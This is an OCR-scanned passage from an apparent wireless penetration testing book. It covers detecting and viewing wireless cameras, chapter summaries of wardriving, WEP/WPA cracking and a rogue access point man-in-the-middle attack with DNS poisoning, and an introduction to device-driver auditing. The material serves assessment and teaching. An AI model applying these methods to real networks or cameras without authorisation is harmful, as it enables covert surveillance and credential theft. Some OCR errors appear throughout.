computers. This handy device allows you to plug the X10 receiver directly into your
computer (see Figure 11.14).

The best thing about the X10 camera is that it provides the software needed to
watch the video feed that is being received. xRay Vision software allows you to
monitor wireless video feeds from your laptop, and can be downloaded for free at
www.x10.com.You will need to have the drivers loaded for the receiver and have
the receiver plugged in, in order to use the software.

Assessors can use the software to look into a customer organization that utilizes
X10 wireless camera technology. Video feeds can be recorded, replayed, paused, or
viewed in real-time. Each feed contains a date and time stamp, which helps validate
when a feed was recovered (see Figure 11.15). Additional information can be found
at www.x10.com/support/support_softl.htm.
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Figure 11.14 X10 USB Video Adapter

Figure 11.15 X10’s xRay Vision Software
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WCS-99

The WCS-99 1sn’t as powerful as the ICOM unit, but it provides vital functionality
for the wireless assessment. The unit is designed to scan from 900 MHz to 2.52 GHz
looking for potential wireless video signals. It is also more expensive than the ICOM
IC-R3, but there are benefits to consider.
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There are two bonuses to using this unit when providing wireless assessments.
The first is that the WCS-99 provides out-of-the-box compatibility with both the
NTSC and PAL video formats. For consultants and professionals with clients in mul-
tiple countries, this means that they won'’t have to buy two separate versions of this
hardware.

The second bonus is the WCS-99% ability to scan for video signals while the
screen is enabled. This is the bulk of what the unit was designed to do. When you
turn on the unit, the screen comes up automatically and the scan begins without
user interaction. You can see every video signal that pops up be within the 900 MHz
to 2.52 GHz range (see Figure 11.16).

Figure 11.16 WCS-99 Wireless Video Scanner

The unit seen in Figure 11.16 came from Brickhouse Security (www.brickhous-
esecurity.com/dd9000.html) and comes with the standard 2.5” TFT screen, AC
power adapter, and an RCA cable for sending the video feeding to an external
source. By default, the WCS-99 comes with two Shared Memory Architecture
(SMA) antennas that attach to the top of the unit itself. Although the unit is more
expensive than the ICOM IC-R3 and X10 products, it provides functionality that is
not available in other products. However, it does not have the ability to triangulate
on signals, determine signal strength, or provide other functionality.
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The Spy Finder

One of the things most missed during wireless assessments is a comprehensive anal-
ysis of the target area for potential hidden cameras or video bug devices. And
although devices such as the WCS-99 and IC-R3 scan in ranges used by hidden
cameras (900 MHz and 1.2 GHz), these scans can still miss some camera technology.

There is a possibility that wireless cameras can be programmed to only transmit
images at particular times of day, or work in a frequency range that you cannot
locate. In this case, you can use an inexpensive device such as Spy Finder (see Figure
11.17) to locate these devices. Spy Finder is simplistic in nature and requires more
manual interaction than the aforementioned tools, so you should determine what the
customer’s needs are before including this in your scope.

Figure 11.17 Spy Finder Camera Finder

This helps to eliminate ambient white light and highlight the red reflection from
camera lenses, wireless or wired. Even the smallest pinpoint cameras reflect the light
back at the user. The trick to using this device is to move around the room slowly. If
a reflection is found, the user should move slowly back and forth across the room
with the Spy Finder in hand. A camera reflection will stay in the same position,
whereas a non-camera reflection will move with the user.

This is a manual process and therefore, will require some time for each room
being assessed. However, the low cost and functionality of this tool justifies it being
in your toolkit. (The device runs on two AA batteries and can be purchased online.)
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Summary

The hunt for wireless networking devices should include more than a search for
access points or active WiFi clients. It should also include the location and identifica-
tion of wireless camera systems in the target area. These devices can be used to mon-
itor targets, gain privileged information, or determine the exact schedule of
operations within a target for a larger-scale compromise.

Most popular wireless cameras operate on the 2.4 GHz frequency range. This
range is controlled difterently in various countries, and the assessor must understand
what channels are available to customers in those countries.

There are a number of tools that can be used to perform a wireless video assess-
ment, including video scanners, camera finders, and wireless camera receiver tech-
nology. The actual tools used should be determined by the assessment team and fit
the customer requirements.

The functionality of these tools allows you to find wireless signals transmitting
on the 2.4 GHz, 900 MHz, and 1.2 GHz ranges. You can locate wireless cameras,
view the actual images from the cameras, operate in a mobile fashion, triangulate in
on a specific transmission, and determine the signal strength at various distances from
the target site.

Solutions Fast Track

Why Wireless Video?

M Wireless video is inexpensive, easy to install, and easy to use.

M Most wireless video used today utilizes the 2.4 GHz frequency range, but
other options are available in 1.2 GHz and 900 Mhz.

M Video transmissions are sent using several formats: NTSC, PAL, or
SECAM. NTSC is the default format used in the U.S.

M Due to current technology, the term penetration testing doesn’t normally
apply to wireless video assessments, although there are some exceptions to

this rule (e.g., the Linksys DCS5300G).
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Wireless Video Technology

4]

Wireless video technology comes in a variety of forms:
®  Baby monitors
®  Teddy bear cams
®  Surveillance monitors
®m  Spy cameras
m Web cameras

Wireless cameras can be hidden in a variety of products (e.g., teddy bears,
clock radios, and spy cameras).

In a default configuration, wireless cameras will transmit roughly 100 feet
from the source on the inside, and 400 feet in the outdoors.

The distance away from the source in which a signal can be received depends
on the antenna used at the source and/or the receiver.

Tools for Detection

4]

4}

4}

The term propagation is used to define the way a signal moves away from its
source and spreads into the surrounding area.

The term attenuation is used to describe the weakening of the signal over
time as it moves away from the source of the signal.

There are 14 possible channels in the 2.4 GHz frequency range that can be
scanned, depending on your location on the globe. Only 11 channels are
utilized in the U.S.

There is no single tool that can be used for a comprehensive wireless
assessment. Multiple tools, hardware, and software are available on the
market, including:

B JCOM IC-R3 receiver

B X10.com receiver and software
B WCS-99 video scanner

®m  Spy Finder camera finder.

The success of a tool depends, in part on the antenna used during the
assessment. An omni antenna receives signals in a 360-degree circle around
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the receiver, whereas a directional antenna receives signals in a 15-degree
arc from the antenna.

M A complete wireless assessment should include a sweep for hidden cameras
using a tool similar to the Spy Finder, because not all wireless cameras use a
frequency that you can adequately scan.

M Signals can be located using triangulation. Using two receivers with directional
antennas, set at least 100 feet apart, sweep the receiver in a 360-degree pattern
until you find the strongest signal matching your target. Cross the line from
each receiver and the point at which they connect is the signal source.

Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q:

Do the X10 range of wireless camera products operate in any other frequency
range?

At the time of this writing, we are only aware of the devices that operate in the
2.4 GHz frequency range.

: I know the current wireless camera systems can’t be penetrated, but can a denial

of service (DoS) attack be-performed on them?

Yes. It’s quite easy, in most cases, to disrupt wireless camera systems. Because
these systems operate on-known frequencies, a user can place another wireless
camera nearby and on the same channel as the target*This can cause dramatic
interference with the video signal being received by the receiver.

: Is there a way to overpower the signal of the'target cameras and have our own

signal received by the camera receiver?

The question is valid, but the answer isn’t simple. A received signal is designed to
pick up signals transmitted on whatever channel the receiver is set to at that
time. If you have two cameras that are both transmitting on that channel at the
same time, the reception becomes a distorted mix of both signals; however, one
camera doesn’t overwrite the other. Hypothetically, it’s possible to put a higher
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power camera much closer to the receiver so that the signals from this camera
come through to the receiver more effectively. But there will likely be some dis-
tortion at the receiver.

Q: Isn’t there one tool that I can buy that will do everything you mention in this
chapter, instead of buying three or four different products?

A: This is very frustrating. There is no product available at the time of this writing
that provides all-inclusive functionality. The fact that ICOM has limited its IC-
R3 to either PAL or NTSC format is a great example of this. So, unfortunately,
for the time being, wireless penetration testers and assessors are left to find the
functionality they need in the various products that are available.
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Solutions Fast Track

This appendix provides you with a succinct
overview of the most important topics
covered in this book.
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Chapter 1

The Origins of WarDriving

M WarDriving is the act of moving around a certain area and mapping the

population of wireless access points for statistical purposes, and to raise
awareness of the security problems associated with these types of networks.
WarDriving does not in any way imply using these wireless access points
without authorization.

The term WarDriving refers to all wireless discovery activity (WarFlying,
WarWalking, and so forth).

The term WarDriving originates from WarDialing, the practice of using a
modem attached to a computer to dial an entire exchange of telephone
numbers to locate any computers with modems attached to them. This
activity was dubbed WarDialing, because it was introduced to the general
public by Matthew Broderick’s character, David Lightman, in the 1983
movie, WarGames.

The FBI has stated that WarDriving, according to its true meaning, is not
illegal in the U.S.

Tools of the Trade or “What Do [ Need?”

M There are two primary hardware setups for WarDriving:

®m A laptop computer
= APDA

M In order to WarDrive, you need:

m A wireless NIC, preferably with an external antenna connector.
®m  An external antenna of which two types are primarily used:

m Omni-directional antennas are used to WarDrive when you want
to pick up as many access points as possible in all directions.

® Directional antennas are used to WarDrive when attempting to
pinpoint particular access points in a known location or direction.
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A pigtail with the proper connectors for attaching your antenna to your
wireless network card.

A handheld GPS capable of NMEA output.

An external power source such as a power inverter or cigarette lighter
adapter is beneficial.

Putting It All Together

4]

]

]

When using Windows operating systems, you should disable the TCP/IP
stack to avoid inadvertently connecting to misconfigured wireless networks.

When using a Pocket PC or Windows CE, you should set a non-standard
IP address and subnet mask to avoid inadvertently connecting to
misconfigured wireless networks.

Because the tools used in the Linux operating system use monitor mode,
no additional configuration is necessary.

Penetration Testing Wireless Networks

]

=

It is important to understand the vulnerabilities associated with wireless
networking before performing a penetration test

Open networks are inherently vulnerable

Due to known vulnerabilities with the RC4 algorithm utilized by WEP,
networks encrypted using WEP can be compromised.

WPA-encrypted networks can be compromised with a dictionary attack.

More recently, rainbow tables have been generated for common SSIDs
utilizing WPA.

Cisco’s LEAP (although not commonly used anymore) can be
compromised using automated tools.

There are a large number of tools available to a wireless penetration tester;
some open source and some commercial.
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Chapter 2

Solutions Fast Track

Radio Theory

4]
4]

The theory behind radio signals and waves 1s discussed.

The relationship between frequency and wavelength is explored, and several
formulas for converting between determining frequency and wavelength
are presented.

The various technical terminology of radios is discussed, including such as
antenna, Signal, Noise, and decibels.

Antenna Theory

4}

4]

4}

Different antenna types are discussed including omnidirectional and
Directional.

The radiation patterns of the various type of antennas are shown, as well a
number of different models.

Information on other RF devices such as amplifiers and attenuators is also
presented.

Choosing the Correct Antenna
for WarDriving and Wireless Pen Testing

4]

Scenarios for WarDriving, Security Auditing and “Red Team” Penetration
Testing are discussed as well as the factors that influence the choice of the
appropriate antenna for each activity.

Several sources for purchasing antennas are provided.
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Chapter 3

WarDriving with a Sharp Zaurus

4]
™
|

The Sharp Zaurus is a Linux-based PDA.
Kismet install packages are available for the Zaurus.

Although GPSD is available for the Zaurus, the packages have proven to be
unreliable. It is easier to compile the binary on a Linux workstation and
copy it to the Zaurus.

You can use a regular handheld GPS unit with an adapter cable, or a GPS
unit that was developed specifically for the Zaurus.

You can use many different Compact Flash WiFi cards with the Zaurus,
including one that has an external antenna connector

WarDriving with an iPaq

]
4]

]

MiniStumbler runs on PDAs that run Windows CE variants.

Hermes chipset Personal Computer Memory Card International
Association (PCMCIA) cards work best with MiniStumbler, but other cards
also work.

MiniStumbler works with GPS receivers that use the NMEA protocol.

Direction Finding with a Handheld Device

M A radio signal strength reading is a must

4]

The type of operating system doesn’t matter.

M An external directional antenna makes the direction finding much easier,

although it is not an absolute requirement.
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Chapter 4

WarDriving with Windows and NetStumbler
M NetStumbler is the application for WarDrivers who use Microsoft
Windows.

M NetStumbler is a detector and analysis tool for 802.11a, 802.11b, and
802.11g wireless networks.

Wireless Penetration Testing with Windows

M AirCrack-ng has a Windows version that allows for packet capturing.

M AirCrack-ng performs WEP encryption cracking and decodes weak WPA-
PSK keys.

M Network discovery can be accomplished with a graphical interface using
programs such as Network View.
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Chapter 5

Preparing Your System to Wardrive

]

4]

]

Prepare your kernel to WarDrive with Kismet, by ensuring that you have
monitor mode (rfmon) enabled.

Prepare your kernel to WarDrive with Kismet by ensuring that you have
the proper support for your wireless card enabled.

Edit your configuration files for Kismet to ensure that you have Kismet
configured correctly and to your specific needs.

WarDriving with Linux and Kismet

]

]

Kismet can display a large amount of information about each network it
has discovered, including the IP address range, the channel, the encryption
type, and any clients that are connected to the network.

A graphical front end can be used with Kismet (e.g., gkismet).

Waireless Penetration Testing with Linux

4]

]

=

The first step of a wireless penetration test is WLAN discovery, which is
where you identify the target network.

The next step is to identify what, if any, encryption is in use.

Attacks against both WEP and WPA often require you to send a
deauthentication flood to the access point. Void 11 is an excellent tool for
performing this function.

The Aircrack suite (Aircrack, Aireplay, and Airodump) is an excellent tool
for cracking WEP-encrypted networks

CoWPALtty automates the WPA-PSK cracking process. You need to capture
the four-way EAPOL handshake and have a strong wordlist in order for
CoWPALtty to work.

Once you have broken the encryption and associated to the network, you
should consider your access as that of a foothold on the network and
follow your normal procedures for penetration testing.
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Chapter 6

WarDriving with Kismac

4
4]
M

Kismac 1s one of the most versatile tools available for WarDriving
Kismac can operate in both active and passive modes.

Kismac has built in capability to allow WarDrivers to map their drives

Penetration Testing with OS X

4]

N N ™

4]

Kismac provides the capability to perform many wireless penetration testing
tasks

Kismac has the ability to deauthenticate clients built in
Kismac contains routines for injecting traffic into a wireless network
Kismac has built in tools to crack WEP

Kismac has built in tools to crack WPA Passphrases

Other OS X Tools for
WarDriving and WLAN Testing

4]

iStumbler is a tool that can detect not only 802.11 b/g wireless networks,

but also Bluetooth devices

M As of OS X 10.4 Tiger, there are many dashboard widgets available that can

detect wireless networks.

M A packet analyzer, or snifter, such as TCPDump or Ethereal is a valuable

tool for a wireless penetration tester.
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Chapter 7

Core Technologies

]

™
|
|

&

The first technology to understand is WLAN technology
There are two types of scanners
Active scanners rely on the SSID broadcast beacon

Passive scanners utilize monitor mode (rfmon) and can identify cloaked
access points

There are four primary types of encryption used on wireless networks
1. Wired Equivalent Privacy (WEP) encryption

2. WiFi1 Protected Access (WPA/WPA2) encryption

3. Extensible Authentication Protocol (EAP)

4. Virtual Private Networking (VPN)

There are attack mechanisms against each type of encryption used on
wireless networks

5. WEP is vulnerable to FMS attacks and chopping attacks
6. WPA 1is vulnerable to dictionary attacks.
7. Cisco’s LEAP is vulnerable to dictionary attacks

8. VPNs are usually not directly vulnerable, but can be compromised using
indirect means

Open Source Tools

4]
4]

N N

Footprinting tools

GPSMap is a tool, included with Kismet, that is perfect for determining the
wireless footprint of your target organization.

Intelligence gathering tools

Just like on any penetration test, Internet search engine queries and
USENET newsgroup searches are perfect for intelligence gathering.

Scanning tools
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M There are two WLAN scanning tools included with Auditor.
9. Wellenreiter
10. Kismet

N

Enumeration tools

M Due to its ability to determine associated client information, Kismet is the
perfect wireless enumeration tool for penetration testers.

M Vulnerability assessment tools

11. Determining the encryption type is one of the best ways to ascertain
the vulnerability status of a wireless network. Auditor provides two
tools that are perfect for this.

12. Kismet shows the strength of encryption in use.

13. Since Kismet isn’t always accurate in determining WPA, Ethereal can
be used to determine the strength by examining the packets that have
been captured.

M Exploitation tools
14. Auditor provides a rich suite of exploitation tools.
15. Mac-Changer can be used to spoof MAC addresses.

16. Since deauthentication of clients associated to the network is often
required, Auditor provides Void-11.

17. The Aircrack suite is perfect for injection and WEP cracking.

18. CoWPALtty is included for cracking WPA passphrases, but you need to
make sure you get a strong dictionary file or wordlist.
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Chapter 8

Using GPSD with Kismet

]

N A HF

In order to use a GPS unit with Kismet, you need to install GPSD.
Download GPSD from http://www.pygps.org/gpsd/.

Uncompress and untar GPSD.

Execute the configure script, then run make and make install.

Start GPSD before starting Kismet, so that GPS coordinates are logged for
found networks.

Configuring Kismet for Mapping

]
4]

Ensure that the gps=true is selected in the kismet.conf.

Ensure that gpshost=localhost:2947 is selected in the kismet.conf.

Mapping WarDrives with GPSMap

|
]

™
|

GPSMAP 1s installed with Kismet

There are several servers you can download maps from with the -S #
switch

The -r switch creates range circle maps

The -fand -i switches allow you to filter access points to create maps of
only your target network

Mapping WarDrives Using StumbVerter

4]

4]

]

StumbVerter, a free program available for download from
www.michiganwireless.org/tools/Stumbverter/, allows you to import your
NetStumbler data sets into Microsoft MapPoint and generate maps.

StumbVerter is easy to install, requiring no additional setup beyond
executing the setup program.

Before you can import your NetStumbler data into MapPoint with
StumbVerter, you must export it to the NetStumbler Summary file format.
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Chapter 9

MITM Attack Design

4]

The basic MITM design goal is to have a wireless client connect to an
access point that you control and then forward their traffic to the real
(authorized) AP.

During a wireless penetration test, the security controls of a wireless
network are generally tested. For this chapter, this was referred to as the
target AP. To successfully perform a MITM attack, one or more target APs
are required.

The wireless client (victim) of an MITM user credential theft has an initial
connection established to the target AP. The wireless client that is
disconnected from the target AP that is associated with it, makes them
associate to the access point configured on the MITM attack platform.

The MITM attack platform provides access point functionality for wireless
client(s), which were originally connected to target AP. The MITM attack
platform 1s configured with almost identical settings as the target AP;
therefore, a normal user cannot tell the difference between the attacker’s
access point and the real (authorized) access point.

Hardware for the Attack—
Antennas, Amps, WiF1 Cards

4]

4]

To successtully perform a MITM attack, several pieces of hardware and a
few key software programs are needed.

A laptop can serve as a clone of the target AP and provide connectivity
back to the target wireless network. The platform can ran a Web server to
host any spoofed Web sites discovered during an attack. Therefore, the
laptop should be equipped to handle memory intensive tasks.

Two wireless network cards are required for the attack platform. One
wireless card provides access point functionality for the wireless client(s)
(victims), which must be able to go into Host AP mode, (also known as
master mode). The purpose of the second wireless card is to provide
connectivity to the target AP.
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M Wireless connectivity to the target AP and to the wireless client(s) is
essential for an attack to work. Also, a strong wireless signal broadcasting
from a Host AP access point is needed. Therefore, choosing the right
antenna is important. There are two main types of antennas that to consider
for this attack: directional and omni-directional.

M A 2.4 GHz amplifier is designed to extend the range of a 2.4 GHz radio
device or AP. For this purpose, an amplifier is used in conjunction with an
antenna to boost the signal of the MITM access point. The intent is for the
wireless signal of the access point to be stronger than the wireless signal of
the target access point.

Identify and Compromise the Target AP

M Before MITM attack can be mounted, the target AP needs to be identified
and compromised. As discussed previously, the need to establish
connectivity to the target AP is vital. To do this, it is necessary to
circumvent any security mechanisms enabled on the access point.

M To gather preliminary data on the target, you have go back to WarDriving
basics and gain as much information about the target as possible.

M The information gathered during the WarDrive can be used help
compromise the target access point’s security controls.

The MITM Attack Laptop Configuration

M The Linux kernel is the core component that the Linux operating system is
built around. It contains many options for hardware support, utilities, and
drivers. Some options in the kernel must be enabled to get the attack
platform ready for the attack.

M Subsequent to the installation and configuration of the Linux kernel and
two wireless network interfaces, enabling IP Forwarding and NAT
ultimately creates a wireless router/gateway. [P Forwarding provides the
ability to have both wireless interfaces communicate and pass traffic to each
other.

M Dnsmasq is a lightweight, easily configured DNS forwarder and DHCP
server. On the attack platform, Dnsmasq serves two important functions; it
provides IP addresses to the wireless clients connecting to the access point,
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and gives the ability to monitor and poison DNS queries. This tool is very
useful when redirecting the DNS requests for Web applications to a
spoofed Web server.

Clone the Target Access Point and Begin the Attack

M When finished with the configuration of the MITM attack laptop, wireless
connections are established and the attack begins. At this point, it is
important to make sure that the hardware is running and properly
connected, including the amplifier and omni-directional antenna.

M To get the victim wireless clients to connect to an access point, wait until
they disconnect and reconnect or force them to reconnect. To force the
clients oft the target wireless network, the target access point can
deauthenticate them using void11.

M If all goes well and the signal strength of the access point is stronger than
the target network’s access point, the wireless client should connect to the
access point. Dnsmasq will give the client an IP address using the DHCP
allocations defined in the /etc/dnsmasq.conf file. The client uses the IP
address of the access point as their gateway and primary DNS server.
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Chapter 10

Choices for Modifying the

Firmware on a Wireless Access Point

M There are many choices available for modifying the firmware on an access
point. There are three main software choices: HyperWRT, DD-WRT and
OpenWRT. This chapter focuses on OpenWRT.

M The hardware choices are almost without limit. The hardware you need to
use depends on the software installation you choose. This chapter focuses
on the WRT54G access point from Linksys.

Installing OpenWRT on a Linksys WRT54G

M There are over 50 hardware devices that OpenWRT firmware can be
installed on. Download the firmware from the OpenWRT Web site using
the squashfs file system.

M Use the Telnet interface to configure the router; however, it is best to use
the more secure SSH connection. OpenWRT uses a simple command-line
interface using NVR AM variables to set difterent options in the firmware.

M Because the OpenWRT is installed using the squashfs file system, most
configuration files are actually symlinks to their counterpart in the /rom/
directory on the device. In order to edit these files, you have to remove the
symlink, copy the file from the /rom/ directory to the original destination
directory, and continue the editing process.

Installing and Managing
Software Packages for OpenWRT

M By editing the /etc/ipkg.conf file, it is possible to have a fully configured
workstation by installing packages from the Web. Editing this file tells the
firmware where to download specially created packages.

M The ipkg suite allows the user to add packages, remove packages, and
update packages. It is important to remember that the WRT54G has a
limited amount of system storage for packages; therefore, depending on
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what you need the device for, will depend on which packages can be
installed at one time.

Enumeration and Scanning from the WRT54G

M Using Nmap, the WRT54G can be used as a remote portal to do initial
port scanning from. Most of the options are available with the Nmap
package available for Open WRT.

M Netcat allows us to make connections to and from the WRT54G. Using
Netcat, you can open ports for other connections, or use it to make
connections outbound to other devices.

M The Tcpdump package enables you to capture and analyze TCP tratfic.
Knowing the location of the device on the network helps determine how
much and what kind of traffic you can snift and analyze.

Installation and Configuration of a Kismet Drone

M Kismet can be run from the WRT54G without issue, except for the limited
amount of available space on the device. Installation of kismet is
straightforward, as long as the correct sources are listed in the ipkg.conf file.

M You can configure the kismet drone to run non-stop on the device, which
gives you a constant wireless scan. You will need to specify the correct
kismet_drone.conf file for the drone to run.

M Once the drone is running, you can connect to it from another workstation
on the same subnet that was specified in the config file. You can also run
kismet directly from the router to see any access points in range.

Installing Aircrack to Crack a WEP Key

M 1In order to use Aircrack on the WRT54G, you need a large amount of disk
space to hold the pcap files that the traffic is stored in. By mounting a
remote file system and specifying this mount point as the output for our
data, you are not limited to the internal memory on the WRT54G.

M Installing the Aircrack suite is as simple as editing the ipkg.conf file to look
at a new repository, update the list of available software, and install Aircrack.
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Chapter 11

Why Wireless Video?

M Wireless video is inexpensive, easy to install, and easy to use.

M Most wireless video used today utilizes the 2.4 GHz frequency range, but
other options are available in 1.2 GHz and 900 Mhz.

M Video transmissions are sent using several formats: NTSC, PAL, or
SECAM. NTSC is the default format used in the U.S.

M Due to current technology, the term penetration testing doesn’t normally
apply to wireless video assessments, although there are some exceptions to
this rule (e.g., the Linksys DCS5300G).

Wireless Video Technology

M Wireless video technology comes in a variety of forms:
®  Baby monitors
m  Teddy bear cams
®  Surveillance monitors
B Spy cameras
m Web cameras

M Wireless cameras can be hidden in a variety of products (e.g., teddy bears,
clock radios, and spy cameras).

M In a default configuration, wireless cameras will transmit roughly 100 feet
from the source on the inside, and 400 feet in the outdoors.

M The distance away from the source in which a signal can be received depends
on the antenna used at the source and/or the receiver.

Tools for Detection

M The term propagation is used to define the way a signal moves away from its
source and spreads into the surrounding area.
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4]
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The term attenuation is used to describe the weakening of the signal over
time as it moves away from the source of the signal.

There are 14 possible channels in the 2.4 GHz frequency range that can be
scanned, depending on your location on the globe. Only 11 channels are
utilized in the U.S.

There is no single tool that can be used for a comprehensive wireless
assessment. Multiple tools, hardware, and software are available on the
market, including:

B JCOM IC-R3 receiver

m X10.com receiver and software
B WCS-99 video scanner

®m  Spy Finder camera finder.

The success of a tool depends, in part on the antenna used during the
assessment. An omni antenna receives signals in a 360-degree circle around
the receiver, whereas a directional antenna receives signals in a 15-degree
arc from the antenna.

A complete wireless assessment should include a sweep for hidden cameras
using a tool similar to the Spy Finder, because not all wireless cameras use a
frequency that you can adequately scan.

Signals can be located using triangulation. Using two receivers with directional
antennas, set at least 100 feet apart, sweep the receiver in a 360-degree pattern
until you find the strongest signal matching your target. Cross the line from
each receiver and the point at which they connect is the signal source.
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Introduction

Security used to be a little different than it is today. Not long ago, worms
such as Blaster and the SQL Slammer were causing mass Internet disruptions
and serving as a catapult to bring network security into the eyes of the
average consumer. This was especially true in the case of the Slammer worm,
because it actually disrupted communications between ATM machines and
their respective financial intuitions. Although Slammer did bring security to
the public’s attention, Zotob is the worm that is (arguably) responsible for
cementing security in everyone’s mind, when in mid-2005 it took down a
portion of CNN'’s operating capabilities.

This served as a wake-up call to many consumers and, by proxy, the
makers of security software. As a result, operating system vendors began
spending more time, effort, and money eliminating security problems in their
products. Not just Microsoft, but also other vendors, such as Apple, and open
source projects that produce free operating systems such as FreeBSD and
Linux, are doing all they can to proactively eliminate security problems from
their offerings as well as quickly respond to reported threats. This means the
typical attacker will need to adapt to this changing environment and find new
ways to compromise victims’ machines.

Attackers have two choices: they can go up or they can go down. When I
say go up I mean that an attacker can start to exploit applications that run on
top of the operating system. Examples of such applications include network
servers such as Web and FTP servers, Office applications, image viewers, and
instant messaging clients. Malicious attacks against these avenues are becoming
more commonplace, although some vulnerabilities require user interaction.

When I say go down I mean that an attacker can target the guts of what
makes an operating system run: device drivers. Device drivers often provide
the knowledge your operating system needs to interact with hardware or per-
form different types of low-level tasks.You can think of a device driver as an
interface between the operating system and something at the low level that
needs abstraction. Device drivers are often updated far less frequently than
other parts of the operating system, and many common types of programming
errors are still found in abundance in them.
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Why Should You Care?

[t has been a long-held belief that although device drivers do contain pro-
gramming errors, this is not something to worry about because most device
drivers do not handle enough untrusted input to be a worry. Furthermore,
many think it’s too difficult to exploit a device driver, and their attempts usu-
ally result in a complete system crash. Even if code execution is possible,
achieving reliability is impossible. People have considered this a low threat
because in the past it has been hard to find devices drivers that would parse
untrusted code. With the use of things like wifi and Bluetooth attackers now
have a clear avenue of attack since the drivers for these protocols are relatively
new, untested to a large degree, and handle very complex protocols.

Recently we’ve seen many advances in the area of kernel and device
driver exploitation. These range from papers that teach how to write kernel-
level shell code for Windows, to the release of new exploits that specifically
target drivers (more on these topics later in the appendix). Although attacks at
this level still require a fair bit of technical sophistication, more examples are
becoming available, and it is only a matter of time until malicious attackers
begin targeting these types of vulnerabilities.

You should care about device driver flaws because most vendors don’t
have control over what drivers go into their operating systems. To use the
analogy of a hidden backdoor, although the makers of an operating system
may have security methodologies in place to prevent simple buffer overflows
from creeping into their code base, they really have no way to enforce that
third-party hardware vendors follow the same methodology. The operating
system can implement features to make successful exploitation more difficult
to achieve, but in the end, third-party device drivers are a serious weak link in
the security architecture of an operating system.

Although this appendix covers the topics of auditing and testing device
drivers, it is in no way an introductory course on device driver technology. To
get the most out of this appendix, you should be familiar with the basic
design and implementation of device drivers in Linux, Windows, and OS X.

You should also know how many device drivers your operating system

has. If you’re running Linux, issue the command Ismod, as shown in Figure
B.1.
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Figure B.1 Linux Device Drivers
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If youre running Windows, you can use a tool from the Windows Driver

Development Kit, called DeviceTree, as shown in Figure B.2.

Figure B.2 Windows Device Drivers
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If you’re running OS X you can issue the command kextstat from a ter-

minal, as shown in Figure B.3.

Figure B.3 OS X Device Drivers
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Although device drivers aren’t generally thought of as being dangerous,
that perception is changing, thanks to the adoption of wireless tech-
nologies such as 802.11 and Bluetooth. The drivers for these new com-
munications media have not gone through the same years of rigorous
testing as Ethernet drivers have, which means they are still buggy. Add
to that the complexity of modern wireless protocols, and you have a
host of vulnerabilities that are waiting to be exploited remotely.
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What Is a Device Driver?

Before we get into the details of device driver technology, let’s back up and
discuss operating systems and, more important, the kernel. Basically, the oper-
ating system (OS) is a traffic cop of sorts that directs the hardware and software
on a given computer. The OS manages access to the hardware and the soft-
ware, decides what process to run, and generally takes care of all the back-
ground tasks most users don’t know about. The OS also provides tools and an
interface for accomplishing certain goals.

The heart of the OS is the kernel. The kernel is simply a software program
that performs a number of services, including management and abstraction of
hardware, as well as provides a common interface for processes in an OS to
start and stop. In addition, the kernel manages the memory these processes
use, and it provides security as well as a standard set of system calls through
which different parts of the OS request that the kernel carry out some task
on their behalf. A kernel also provides a memory model. A memory model
defines how memory is segmented and used by processes. Most common
operating systems running on x86 hardware segment memory into ring0 or
kernel space, and ring3 or userland. The only thing you need to know for the
purposes of our discussion is that ring0 is the highest privilege level and is
where the kernel runs, and ring3 is the lowest and is where applications such
as Web browsers and word processors run.

One of the things the kernel is responsible for is making the computer’s
hardware work in concert with its software. Device drivers are a way for
operating system vendors to abstract support for hardware or low-level opera-
tions. They are implemented differently depending on the operating system
and hardware architecture on which they are run. Device drivers aren’t lim-
ited to just driving hardware either; they can carry out a number of low-level
tasks, such as implementing the capability to access a certain type of file
system on a disk, and carrying out antipiracy operations. Device drivers are
typically loaded into the kernel in some fashion, but how that is done varies
across operating systems.

Drivers will generally conform to the established way in which a partic-
ular operating system moves data back and forth from a device, and they will
carry out tasks as they are requested to do so. Drivers provide common rou-
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tines for controlling access to the device or resource, handling interrupts, and
handling I/O requests.

The precise job of a driver, and how it performs that job, is operating
system and architecture dependent. In the following subsections, I'll briefly
discuss Windows, OS X, and Linux drivers. For more in-depth information
visit the developer sites for each operating system.

Windows

Windows generally does not want a user to be able to talk directly to hard-
ware, so safeguards have been put in place to ensure that this doesn’t happen.
In the current versions of Windows, the hardware abstraction layer (HAL) acts
as the barrier between the operating system and the underlying hardware.
Device drivers make requests to the HAL to accomplish tasks such as setting
the state of a device or resource, and reading/writing data. Several difterent
types of Windows device drivers are available, including drivers that actually
control devices, drivers that decode certain types of protocols, and drivers that
implement certain types of functionality based on task priority.

You can develop drivers for Windows using a Driver Development Kit
(DDK). A framework called the Windows Driver Foundation is used to
ensure that high-quality drivers are created and that they conform to a
defined set of specifications to ensure uniformity. The DDK supplies every-
thing you need to create and test device drivers.

OS X

OS X difters from Windows in a lot of ways. First, the OS X kernel, called
XNU, operates much difterently than the Windows kernel in terms of its
approach to memory management and processes. At the time of this writing,
the src for the XNU kernel was available for download, allowing aspiring
device driver programmers to get a more in-depth look at exactly how the
kernel works.You develop and implement device drivers in OS X using a
framework called 170 Kit. /0O Kit is a bit difterent from other driver frame-
works in that it is designed to allow developers to write drivers in C++,
which provides the benefits of speed and the ability to reuse code. As with
the Windows platform, though, difterent kinds of OS X drivers accomplish
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difterent tasks. Drivers are often arranged in families for organization and
code reuse.

Linux

Linux drivers are often referred to as modules and they can have much more
direct access to hardware than Windows allows. The source for the kernel is
freely distributed, and not much more than this is required to build a Linux
driver. The Linux kernel architecture makes it easy to load and unload mod-
ules while the kernel is running. Building a Linux kernel module is very
straightforward. Although Windows offers the ability to verify drivers, Linux
does not, so finding the right driver might take some trial and error.

Setting Up a Test Environment

Setting up a test environment for difterent types of drivers can be a complex
task, and often it can seem to take longer to set up the environment than to
find actual bugs. When setting up your test environment, the first and most
important factor to determine is what you are expecting to test. Many dif-
ferent types of drivers handle untrusted code, ranging from USB and
FireWire to wireless drivers such as WiFi and Bluetooth. The quickest and
easiest way to test drivers for vulnerabilities is via a technique called fuzzing,
so building an environment that is fuzzer friendly should be your initial goal.
The best environment for testing that I have found 1s a Linux-based machine.

Linux enables you to do raw packet injection for WiFi testing as well as
manipulate different drivers such as USB to produce the desired results. Linux
distributions are plentiful, but I went with Fedora Core 5 (FC5) for its great
hardware support and ease of adding new packages through the yum package
manager.

I performed the install on a laptop for ease of use and transportation.
